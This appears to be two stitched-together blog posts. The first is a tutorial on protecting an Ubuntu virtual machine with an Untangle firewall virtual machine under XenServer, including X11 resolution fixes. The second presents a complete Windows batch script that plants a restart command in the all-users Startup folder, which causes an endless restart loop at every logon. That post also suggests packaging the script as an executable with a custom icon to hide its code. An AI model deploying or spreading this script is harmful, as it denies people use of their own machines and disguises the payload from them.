This is a tutorial on how to install and protect Ubuntu with Untangle, while both run as virtual machines within XenServer. This setup allows you to protect one virtual machine with a second virtual machine on the same physical system. The biggest advantages to this setup include a lower cost of energy, lower cost of hardware and smaller physical footprint.
The image below shows Ubuntu and Untangle being displayed using the XenCenter Management Console. Untangle is blocking Ubuntu from accessing Facebook.
Click on the image to enarge it.
What you will need:
Instructions:
After installing, Ubuntu will load to its desktop and Untangle to its initial startup screen. Finish the Untangle setup and close the browser window. You should now see the options menu at the bottom of the screen. We are going to need to use the terminal to change the screen resolution.
Fixing the screen resolution:
In Untangle, open the terminal and enter the root password you created during the install. Enter the following into the terminal:
cd /etc/X11
cp xorg.conf xorg.conf.bak
editor xorg.confEnter or change what is shown below:
Section “Monitor”
Identifier “Configured Monitor”
HorizSync 40.00 – 150.00
VertRefresh 60.0
VendorName “Generic”
ModelName “Generic”
EndSectionSection “Screen”
Identifier “Default Screen”
Device “Configured Video Device”
Monitor “Configured Monitor”
SubSection “Display”
Viewport 0 0
Depth 24
EndSubSection
EndSection
In Ubuntu, open the terminal and enter the root password you created during the install. Enter the following into the terminal:
sudo passwd root
sudo X -configure
cp /etc/X11/xorg.conf /etc/X11/xorg.conf.bak
cd /
sudo gedit xorg.conf.newEdit the monitor section to be:
Section “Monitor”
Identifier “Monitor0″
HorizSync 40.00 – 150.00
VertRefresh 60.0
VendorName “Generic”
ModelName “Generic”
EndSectionClick on: File > Save As > Folder (/etc/X11) | xorg.conf
Log off and sign in
The resolution should now be 1152×864 in Ubuntu and 1024×768 in Untangle.
You have accomplished:
In one of my classes at CPTC, we started to learn how to write Windows Batch Scripts. Myself and a few of my classmates almost got into trouble (not really though) a few weeks ago, by sending messages through the use of shutdown commands over the LAN. Last week, I started to think about how could I have the computer restart every time a user tries to log on to their computer. Finally, after shifting code around for a while, I came up with a reliable script to do what I wanted it to do.
Upon execution, this Windows Batch Script will create a file called “restart.bat” that includes the command to immediately restart the computer. This file is then moved to the Startup folder for all users. After the file is moved, the user that is currently logged in will be logged off. When the user attempts to log on to the computer again, the computer will restart. Now every time the user tries to log on to the computer, it will automatically restart.
This is a script that will annoy just about everyone. One change that I have come up with is to package the restart script into an executable, then package that executable into a second executable, which includes a script that is similar to what you see below. Now instead of running a script, you run an executable with your own icon. The result is exactly the same, but masking it behind an executable makes it so that the user cannot view the code.
To remove the restart script/executable from your Startup folder, you have to boot into Safe Mode. This can be done by pressing the F8 key on your keyboard, before the Windows loading bar screen appears. After you boot into Safe Mode, go to (Start > All Programs > Startup) and delete the file that is causing your computer to restart. If the script used is the one below, then you would delete restart.bat.
:: Windows OS Infinite Restart Script
:: This script will cause a Windows OS to immediately restart after logging in to a user account.
:: Created by Andrew R. DeFilippis on February 22, 2010
:: http://www.andrewdefilippis.com/@ECHO OFF
:: Disable echo commands from printing on screenECHO ^@ECHO OFF > restart.bat
ECHO SHUTDOWN /r /t 0 >> restart.bat
ECHO EXIT >> restart.batVER | FIND “5.1″ > NUL
IF ERRORLEVEL 0 GOTO OLD
VER | FIND “5.2″ > NUL
IF ERRORLEVEL 0 GOTO OLD
:: Determine what OS version is being usedGOTO NEW
:: If OS version 5.1 or 5.2 is not found, then go to NEW:OLD
MOVE “restart.bat” “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into older Windows OS’s
:: Then log off the current user:NEW
MOVE “restart.bat” “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into newer Windows OS’s
:: Then log off the current user
This script is posted for educational purposes only.
I am NOT liable for the use and/or misuse of this script.